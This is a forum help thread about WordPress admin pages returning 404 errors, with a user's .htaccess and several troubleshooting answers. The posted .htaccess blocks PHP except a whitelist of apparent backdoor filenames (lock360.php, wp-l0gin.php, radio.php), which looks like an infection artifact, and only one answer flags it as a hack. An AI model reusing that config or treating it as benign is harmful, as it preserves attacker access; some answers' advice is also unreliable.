After successful login, I can’t access any of the page (I can’t create new post, I can’t edit post, I can’t create page, I can’t access any page on the left sidebar) on the admin panel, they all show 404 error. I have checked the .htaccess
but it’s alright. I can’t access the permalink page cause it will show 404 error.
All these were working till when I tried accessing it yesterday.
.htaccess file
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch
"^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php|wp-l0gin.php|wp-theme.php|wp-scripts.php|wp-editor.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
9
Answers
I see you are denying php files. If you have plugin that is overwriting your htaccess file disable it. Or edit current htaccess file and change
to
If you still cant access your website replace current htaccess with default one for testing.
I would disable all plugins by renaming their folders using ftp (or ssh). That way you can rule out the plugins being an issue. If that fixes the problem, turn the plugins back on one by one until it breaks. Then, if you post the name of that plugin you (we) can look through its code and see what’s going on.
A 404 error indicates that your browser can’t locate the page you’re trying to access. The exact message can look a bit different depending on the browser you’re using. The first step to try is resetting your permalinks. Head to your WordPress dashboard and navigate to Settings > Permalinks. From here, just click on Save Changes. That’s right — you don’t actually need to edit anything. Clicking that button will update the permalink settings even if you don’t make any changes.
Make sure your
/wp-admin/
folder doesn’t contain any .htaccess filesDelete, if there is any.
If the problem persists…
Make sure the
mod_rewrite
is enabledHow to check whether mod_rewrite is enable on server?
Enable the mod, restart apache.
If the problem persists…
Check if .htaccess is allowed in Apache config
Go find your Apache config
Make sure the
AllowOverride
directive is set toAll
and within<Directory /var/www/your/dir/where/wp/is>
:Remember to restart Apache.
If the problem persists…
Delete .htaccess and reset permalinks
Go to
/wp-login.php
and login.Settings -> Permalinks -> Save. (WP will automatically recreate your .htaccess again).
If you cannot get to the permalinks page do it programmatically, add the snippet to
functions.php
:Refresh the page… Now your .httacces is recreated. Remove the code from
functions.php
.if the problem persists…
Try disabling plugins.
Rename the folder
wp-content/plugins
to_plugins
, for example.Refresh the page. Now your plugins are disactivated.
If the problem is gone, enable plugins 1 by 1 until the problem occurs again. That’s how you find the faulty plugin.
@BlackPearl i tried to reach out, several times, and help you debug your your website but you didn’t respond back. I was going to help you avoid going through the "shotgun approach" and trying every possible combination that you either find online or people throw at you.
Anyway, speaking from experience, this would usually happen due to one primary reason, and that is obsolete themes and/or outdated plugins. Obsolete themes and plugins would loose their compatibilities with newer versions of wordpress over time and cause all sorts of nasty errors. Sometimes this happens because servers and host companies migrate to a newer version of PHP which doesn’t support those outdated themes and plugins functionalities.
having said that, i’d try to do the following steps to debug it:
wp-config.php
try to change your"DB_CHARSET"
to only "utf".index.php
file located in your wordpress core root folder has the proper content. Not the one in the root folder of your theme, the other one that is located in the same directory as thewp-admin
folder is located.functions.php
file. If so, then remove those extra spaces.wp-config.php
file, define( ‘WP_MEMORY_LIMIT’, ‘256M’ );Within your admin control panel, go to Tools -> Site Health. Look for problems there that may indicate what the problem is.
Sometimes, for example, you’ll see that the REST API has an error. This happens when a plugin or theme has incorrect code which breaks the proper response for an API call. This breaks editing things like Pages/Posts/other Custom Post Types.
To resolve, try disabling all your themes. A quick way to do this to SFTP into your server and rename the
wp-content/plugins
directory to something likeplugins-renamed
. Then reload any admin page. Then rename it back. All of your plugins will be disabled and you can re-enable them one at a time, while checking the Site Health page to see if the problem returns.Also try activating a different theme to see if that fixes it.
I think,You have been hacked.
Check config file it must have some gibberish code which breaks php execution.
Restore your database or atleast check it.
check how many users you have. Do you have any user as admin. Try login with that user.
Check your files. Try to restore from backup.
Check your unix files setting may be some file s need execute permission.
https://www.malcare.com/blog/wordpress-file-permissions/
Upgrade your php version to the latest version and it will kick back to life. WordPress can get glitchy when you’re not using the supported version of PHP.
PHP requirements for WordPress
In my case, just the WordPress Plugins page was displaying a 404, and other pages I tried worked fine. It turned out the permissions for the file wp-admin/plugins.php were set to 666 whereas nearly all other files had 644 permissions. Changing the permissions to 644 fixed the issue. I did this using the cPanel File Manager.